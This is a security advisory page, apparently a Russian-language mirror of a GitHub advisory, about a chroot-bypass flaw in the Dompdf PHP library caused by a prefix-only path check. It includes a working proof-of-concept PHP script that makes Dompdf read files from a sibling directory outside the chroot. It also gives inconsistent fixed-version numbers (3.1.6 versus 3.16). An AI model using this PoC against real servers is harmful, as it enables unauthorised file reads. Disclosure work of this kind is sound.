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GHSA-wvh6-f5jh-8gw4

Опубликовано: 22 июл. 2026
Источник: github
Github: Прошло ревью
CVSS4: 2.3

Описание

Dompdf: Chroot Validation Bypass

Summary

The chroot check for local files uses a prefix string check to enforce chroot boundaries. The simple string comparison it performs allows paths like /var/www/root_secret/file.html when chroot is /var/www/root.

This allows attacker-controlled document paths/resources to bypass intended local file restrictions.

Details

The validateLocalUri() method is used to check if a local file is within an allowed chroot directory. After normalization with realpath(), this check is performed with a strpos() comparison:

public function validateLocalUri(string $uri) { ... $realfile = realpath(str_replace("file://", "", $uri)); ... foreach ($dirs as $chrootPath) { $chrootPath = realpath($chrootPath); if ($chrootPath !== false && strpos($realfile, $chrootPath) === 0) { $chrootValid = true;

Due to the normalization, the $chrootPath string does not have a terminating directory separator (/) appended. Because of this, the strpos() check only validates that $chrootPath is a prefix of $realfile. This allows access to folders with similar names that fall outside of the defined chroot restrictions.

For example, a chroot setting of /var/www/ would be normalized to /var/www, removing the trailing /. During strpos(), a $chrootPath of /var/www will also match a $realfile starting with /var/www2, /var/www-admin, or /var/www_backup, despite these being different directories.

PoC

With a directory structure similar to:

/home/dompdf/ |--> web/ |--> pdf.php |--> cat0.jpg |--> web-admin/ |--> cat1.jpg

And web-accessible Dompdf functionality similar to the following (poc.html):

<?php require 'vendor/autoload.php'; use Dompdf\Dompdf; use Dompdf\Options; $options = new Options(); $options->setChroot(['/home/dompdf/web/']); $dompdf = new Dompdf($options); $dompdf->loadHtml($_POST['html']); $dompdf->render(); $dompdf->stream(); ?>

A malicious actor can exploit the vulnerability with the following script:

$html = <<<HTML <!DOCTYPE html> <html> <body> <p>within chroot</p> <img src="/home/dompdf/web/cat0.jpg"> <p>outside of chroot</p> <img src="/home/dompdf/web-admin/cat1.jpg"> </body> </html> HTML; $url = 'http://example.com/poc.php'; $data = ['html' => $html]; $headers = ["Content-type: application/x-www-form-urlencoded"]; // use key 'http' even if you send the request to https://... $options = [ 'http' => [ 'header' => $headers, 'method' => 'POST', 'content' => http_build_query($data), 'ignore_errors' => true, ], ]; $context = stream_context_create($options); $response = file_get_contents($url, false, $context);

When the PDF is generated, both jpg files are loaded successfully despite the cat1.jpg file being outside of the allowed chroot.

Impact

An attacker that controls a portion of the rendered HTML could leverage this vulnerability to bypass chroot restrictions and access potentially sensitive files from outside of the allowed directories.

Пакеты

Наименование

dompdf/dompdf

composer
Затронутые версииВерсия исправления

< 3.1.6

3.1.6

EPSS

Процентиль: 20%
0.00278
Низкий

2.3 Low

CVSS4

Дефекты

CWE-20
CWE-22

Связанные уязвимости

CVSS3: 7.5
ubuntu
10 дней назад

Dompdf is an HTML to PDF converter for PHP. In versions 3.15 and prior, the validateLocalUri() method enforces chroot boundaries with a strpos() prefix check after normalizing paths with  realpath() . Because normalization strips the trailing directory separator from  $chrootPath , the check only verifies that  $chrootPath  is a string prefix of $realfile, so a chroot of  /var/www  also matches sibling directories like /var/www2 , /var/www-admin, or /var/www_backup. An attacker who controls part of the rendered HTML could exploit this to escape the chroot and read sensitive files outside the allowed directory. This issue has been fixed in version 3.16.

CVSS3: 7.5
nvd
10 дней назад

Dompdf is an HTML to PDF converter for PHP. In versions 3.15 and prior, the validateLocalUri() method enforces chroot boundaries with a strpos() prefix check after normalizing paths with  realpath() . Because normalization strips the trailing directory separator from  $chrootPath , the check only verifies that  $chrootPath  is a string prefix of $realfile, so a chroot of  /var/www  also matches sibling directories like /var/www2 , /var/www-admin, or /var/www_backup. An attacker who controls part of the rendered HTML could exploit this to escape the chroot and read sensitive files outside the allowed directory. This issue has been fixed in version 3.16.

CVSS3: 7.5
debian
10 дней назад

Dompdf is an HTML to PDF converter for PHP. In versions 3.15 and prior ...

EPSS

Процентиль: 20%
0.00278
Низкий

2.3 Low

CVSS4

Дефекты

CWE-20
CWE-22